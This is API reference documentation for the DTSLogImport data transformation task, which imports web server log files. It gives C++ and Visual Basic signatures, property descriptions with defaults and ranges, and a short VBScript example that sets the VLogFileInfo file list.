Use this method to execute the Data Transformation Services (DTS) task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSLogImport::CustomTask_Execute(
 IDispatch* pPackage,
 IDispatch* pPackageEvents,
 IDispatch* pPackageLog
);
[Visual Basic]
Sub CustomTask_Execute(
 pPackage As Object,
 pPackageEvents As Object,
 pPackageLog As Object
)

Parameters

pPackage [C++]
[in] A reference to the Package object that runs the DTS task.
pPackage [Visual Basic]
The Package object that runs the DTS task.
pPackageEvents [C++]
[in] A reference to the events of the Package object.
pPackageEvents [Visual Basic]
The events of the Package object.
pPackageLog [C++]
[in] A reference to a PackageLog object that writes task log records in the database or writes log messages to the log file.
pPackageLog [Visual Basic]
The PackageLog object that writes task log records in the database or writes log messages to the log file.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_StartTime, put_StartTime

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.EndTime

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.RetryInterval

DTSLogImport.SourceName

DTSLogImport.SourceType

DTSLogImport.StartTime

DTSLogImport.VLogFileInfo


_DTSLogImport::PersistPropertyBag_Load Method [C++]

DTSLogImport.PersistPropertyBad_Load Method [Visual Basic]

Use this method to load the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSLogImport::PersistPropertyBag_Load(
 );
[Visual Basic]
Sub PersistPropertyBag_Load(
 )

Parameters

None.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[Visual Basic]

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_StartTime, put_StartTime

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.EndTime

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.RetryInterval

DTSLogImport.SourceName

DTSLogImport.SourceType

DTSLogImport.StartTime

DTSLogImport.VLogFileInfo


_DTSLogImport::PersistPropertyBag_Save Method [C++]

DTSLogImport.PersistPropertyBag_Save Method [Visual Basic]

Use this method to save the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSLogImport::PersistPropertyBag_Save(
 );
[Visual Basic]
Sub PersistPropertyBag_Save(
)

Parameters

None.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[Visual Basic]

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_StartTime, put_StartTime

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.EndTime

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.RetryInterval

DTSLogImport.SourceName

DTSLogImport.SourceType

DTSLogImport.StartTime

DTSLogImport.VLogFileInfo


_DTSLogImport Properties [C++]

DTSLogImport Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
EndTime | DATE | Stores the end time for the time range in which the log files are imported. This property is read/write.
ImportAllLogsSinceLastImport | VARIANT_BOOL | Specifies if all the log files since the last import will be imported, or if only a portion of the log files will be imported. This property is read/write.
NumRetries | long | Specifies the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ReadInfoFromAdmin | VARIANT_BOOL | Enables the user to read information from the Administrative database, and also enables the user to directly specify which log files to import through the VLogFileInfo property. This property is read/write.
RetryInterval | long | Specifies the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Specifies the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
StartTime | DATE | Stores the start time for the time range in which the log files are imported. This property is read/write.
VLogFileInfo | VARIANT | Specifies the log files to import. This property is read/write.
[Visual Basic]
Property | Type | Description
EndTime | Date | Stores the end time for the time range in which the log files are imported. This property is read/write.
ImportAllLogsSinceLastImport | Boolean | Specifies if all the log files since the last import will be imported, or if only a portion of the log files will be imported. This property is read/write.
NumRetries | Long | Specifies the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write
ReadInfoFromAdmin | Boolean | Enables the user to read information from the Administrative database, and also enables the user to directly specify which log files to import through the VLogFileInfo property. This property is read/write.
RetryInterval | Long | Specifies the number of seconds between retry attempts. This property is read/write.
SourceName | String | Specifies the Web site or Data Warehouse for which this task is processing data. This property is read/write.
SourceType | Long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
StartTime | Date | Stores the start time for the time range in which the log files are imported. This property is read/write.
VLogFileInfo | Variant | Specifies the log files to import. This property is read/write.


_DTSLogImport::get_EndTime, put_EndTime Property [C++]

DTSLogImport.EndTime Property [Visual Basic]

The EndTime property is a read/write Date that stores the end time for the time range in which the logs are imported.

Definition

[C++]

Get method:

HRESULT _DTSLogImport::get_EndTime(
 DATE EndTime
);

Put method:

HRESULT _DTSLogImport::put_EndTime(
 DATE EndTime
);
[Visual Basic]
Property EndTime() As Date

Parameters

EndTime[C++]
[out, retval] When getting a value, a DATE that specifies the end time for the time range in which log files are imported.
[in] When putting a value, a DATE that specifies the end time for the time range in which log files are imported.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This property is only used if the ImportAllLogsSinceLastImport property is set to False. The default value is the current time.

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_StartTime, put_StartTime

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.RetryInterval

DTSLogImport.SourceName

DTSLogImport.SourceType

DTSLogImport.StartTime

DTSLogImport.VLogFileInfo


_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport Property [C++]

DTSLogImport.ImportAllLogsSinceLastImport Property [Visual Basic]

The ImportAllLogsSinceLastImport property is a read/write Variant that contains a Boolean that specifies if all the log files since the last import will be imported, or if only a portion of the log files will be imported.

Definition

[C++]

Get method:

HRESULT _DTSLogImport::get_ImportAllLogsSinceLastImport(
 VARIANT_BOOL ImportAllLogsSinceLastImport
);

Put method:

HRESULT _DTSLogImport::put_ImportAllLogsSinceLastImport(
 VARIANT_BOOL ImportAllLogsSinceLastImport
);
[Visual Basic]
Property ImportAllLogsSinceLastImport() As Boolean

Parameters

ImportAllLogsSinceLastImport[C++]
[out, retval] When getting a value, a VARIANT containing a Boolean that determines if all the log files created since the last import will be imported.
[in] When putting the value, a VARIANT containing a Boolean that determines if all the log files created since the last import will be imported.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the ImportAllLogsSinceLastImport property is set to True, all log files created since the last import will be imported. If the ImportAllLogsSinceLastImport property is set to False, the StartTime and EndTime properties will be used to determine which log files to import.

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_StartTime, put_StartTime

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.EndTime

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.RetryInterval

DTSLogImport.SourceName

DTSLogImport.SourceType

DTSLogImport.StartTime

DTSLogImport.VLogFileInfo


_DTSLogImport::get_NumRetries, put_NumRetries Property [C++]

DTSLogImport.NumRetries Property [Visual Basic]

The NumRetries property is a read/write Long that specifies the number of retry attempts to be made after a SQL connection/query failure.

Definition

[C++]

Get method:

HRESULT _DTSLogImport::get_NumRetries(
 long NumRetries
);

Put method:

HRESULT _DTSLogImport::put_NumRetries(
 long NumRetries
);
[Visual Basic]
Property NumRetries() As Long

Parameters

NumRetries[C++]
[out, retval] When getting a property, a long that specifies the number of retry attempts to be made.
[in] When putting a property, a long that specifies the number of retry attempts to be made.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the NumRetries property is set to 0, no retry attempt will be made. The minimum number of retry attempts is 0, and the maximum number of retry attempts is 255. The default value is 10.

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_StartTime, put_StartTime

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.EndTime

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.RetryInterval

DTSLogImport.SourceName

DTSLogImport.SourceType

DTSLogImport.StartTime

DTSLogImport.VLogFileInfo


_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin Property [C++]

DTSLogImport.ReadInfoFromAdmin Property [Visual Basic]

The ReadInfoFromAdmin property is a Variant that contains a Boolean that enables the user to override some of the information in the Administrative database.

Caution

  • This property should only be used if the user has a clear understanding of Log Data Sources.

Definition

[C++]

Get method:

HRESULT _DTSLogImport::get_ReadInfoFromAdmin(
 VARIANT_BOOL ReadInfoFromAdmin
);

Put method:

HRESULT _DTSLogImport::put_ReadInfoFromAdmin(
 VARIANT_BOOL ReadInfoFromAdmin
);
[Visual Basic]
Property ReadInfoFromAdmin() As Boolean

Parameters

ReadInfoFromAdmin[C++]
[out, retval] When getting the value, a VARIANT that contains a Boolean that determines if information is read from the Administrative database, or if the Administrative database is overwritten.
[in] When putting the value, a VARIANT that contains a Boolean that determines if information is read from the Administrative database, or if the Administrative database is overwritten.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the ReadInfoFromAdmin property is set to True, information is read from the Administrative database. If the ReadInfoFromAdmin property is set to False, the user can still read from the Administrative database, and can also specify log files to be imported through the VLogFileInfo property. The default value is True.

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_StartTime, put_StartTime

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.EndTime

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.RetryInterval

DTSLogImport.SourceName

DTSLogImport.SourceType

DTSLogImport.StartTime

DTSLogImport.VLogFileInfo


_DTSLogImport::get_RetryInterval, put_RetryInterval Property [C++]

DTSLogImport.RetryInterval Property [Visual Basic]

The RetryInterval property is a read/write Long that specifies the amount of time that will pass between each retry.

Definition

[C++]

Get method:

HRESULT _DTSLogImport::get_RetryInterval(
 long RetryInterval
);

Put method:

HRESULT _DTSLogImport::put_RetryInterval(
 long RetryInterval
);
[Visual Basic]
Property RetryInterval() As Long

Parameters

RetryInterval[C++]
[out, retval] When getting the property, a long that contains the number of seconds between retry attempts.
[in] When putting the property, a long that contains the number of seconds between retry attempts.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The minimum value that can be assigned to the RetryInterval property is 0, and the maximum value is 3600. The default value is 30.

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_StartTime, put_StartTime

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.EndTime

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.SourceName

DTSLogImport.SourceType

DTSLogImport.StartTime

DTSLogImport.VLogFileInfo


_DTSLogImport::get_SourceName, put_SourceName Property [C++]

DTSLogImport.SourceName Property [Visual Basic]

The SourceName property is a read/write String that specifies the Web site or Data Warehouse for which this task is processing data.

Definition

[C++]

Get method:

HRESULT _DTSLogImport::get_SourceName(
 BSTR SourceName
);

Put method:

HRESULT _DTSLogImport::put_SourceName(
 BSTR SourceName
);
[Visual Basic]
Property SourceName() As String

Parameters

SourceName[C++]
[in] When putting the property, a BSTR that contains the name of the Web site or Data Warehouse.
[out, retval] When getting the property, a pointer to a BSTR that contains the name of the Web site or Data Warehouse.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_StartTime, put_StartTime

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.EndTime

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.RetryInterval

DTSLogImport.SourceType

DTSLogImport.StartTime

DTSLogImport.VLogFileInfo


_DTSLogImport::get_SourceType, put_SourceType Property [C++]

DTSLogImport.SourceType Property [Visual Basic]

The SourceType property is an long that specifies the level on which the Data Transformation Services (DTS) task will operate.

Definition

[C++]

Get method:

HRESULT _DTSLogImport::get_SourceType(
 long SourceType
);

Put method:

HRESULT _DTSLogImport::put_SourceType(
 long SourceType
);
[Visual Basic]
Property SourceType() As Long

Parameters

SourceType[C++]
[out, retval] When getting the property, a long that contains the type of source.
[in] When putting the property, a long that contains the type of source.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the SourceType property is set to srctypeSite (0), the task will operate on the Web site level. If the SourceType property is set to scrtypeDW (1), the task will operate on the Data Warehouse level. The default value is srctypeSite (0).

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_StartTime, put_StartTime

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.EndTime

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.RetryInterval

DTSLogImport.SourceName

DTSLogImport.StartTime

DTSLogImport.VLogFileInfo


_DTSLogImport::get_StartTime, put_StartTime Property [C++]

DTSLogImport.StartTime Property [Visual Basic]

The StartTime property is a read/write Date that stores the start time for the time range in which the log files are imported.

Definition

[C++]

Get method:

HRESULT _DTSLogImport::get_StartTime(
 DATE StartTime
);

Put method:

HRESULT _DTSLogImport::put_StartTime(
 DATE StartTime
);
[Visual Basic]
Property StartTime() As Date

Parameters

StartTime[C++]
[in] When putting a value, a DATE that specifies the start time for the time range in which the log files are imported.
[out, retval] When getting a value, a DATE that specifies the start time for the time range in which the log files are imported.
None.[Visual Basic]

Return Values

[C++]

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The StartTime property is only used if the ImportAllLogsSinceLastImport property is set to False. The default value is the current time.

See Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.EndTime

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.RetryInterval

DTSLogImport.SourceName

DTSLogImport.SourceType

DTSLogImport.VLogFileInfo


_DTSLogImport::get_VLogFileInfo, put_VLogFileInfo Property [C++]

DTSLogImport.VLogFileInfo Property [Visual Basic]

The VLogFileInfo property is a read/write Variant that contains an array that lists the log files to import.

Definition

[C++]

Get method:

HRESULT _DTSLogImport::get_VLogFileInfo(
 VARIANT VLogFileInfo
);

Put method:

HRESULT _DTSLogImport::put_VLogFileInfo(
 VARIANT VLogFileInfo
);
[Visual Basic]
Property VLogFileInfo() As Variant

Parameters

VLogFileInfo[C++]
[out, retval] When getting a value, a VARIANT that contains an array of log filenames.
[in] When putting a value, a VARIANT that contains an array of log file names.
None.[Visual Basic]
[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The VLogFileInfo property is only used if the ReadInfoFromAdmin property is set to False. If you specify directories instead of files, all files in that directory will be imported regardless of the file type. No file type checking is performed. If file types are not correct, the import will fail.

[Visual Basic]

Example

Dim oTask
Dim oPackage
Dim oTaskProps
Dim vData
set oPackage = WScript.CreateObject("DTS.Package")
Set oTask = oPackage.Tasks.New("Commerce.DTSLogImport")
ReDim vData(1)
' File names or folder names can be used to specify the files to import.
' If the folder name is used all the files in that folder will be added to
' the current import task.
vData(0) = "LDS Name| File1| File2"
vData(1) = "LDS Name| Folder"
oTaskProps("VLogFileInfo").Value = vData

oPackage.Tasks.Add oTaskSee Also

Scripting the Web Server Log Import DTS Task

[C++]

_DTSLogImport::CustomTask_Execute

_DTSLogImport::get_EndTime, put_EndTime

_DTSLogImport::get_ImportAllLogsSinceLastImport, put_ImportAllLogsSinceLastImport

_DTSLogImport::get_NumRetries, put_NumRetries

_DTSLogImport::PersistPropertyBag_Load

_DTSLogImport::PersistPropertyBag_Save

_DTSLogImport::get_ReadInfoFromAdmin, put_ReadInfoFromAdmin

_DTSLogImport::get_RetryInterval, put_RetryInterval

_DTSLogImport::get_SourceName, put_SourceName

_DTSLogImport::get_SourceType, put_SourceType

_DTSLogImport::get_StartTime, put_StartTime

[Visual Basic]

DTSLogImport.CustomTask_Execute

DTSLogImport.EndTime

DTSLogImport.ImportAllLogsSinceLastImport

DTSLogImport.NumRetries

DTSLogImport.PersistPropertyBag_Load

DTSLogImport.PersistPropertyBag_Save

DTSLogImport.ReadInfoFromAdmin

DTSLogImport.RetryInterval

DTSLogImport.SourceName

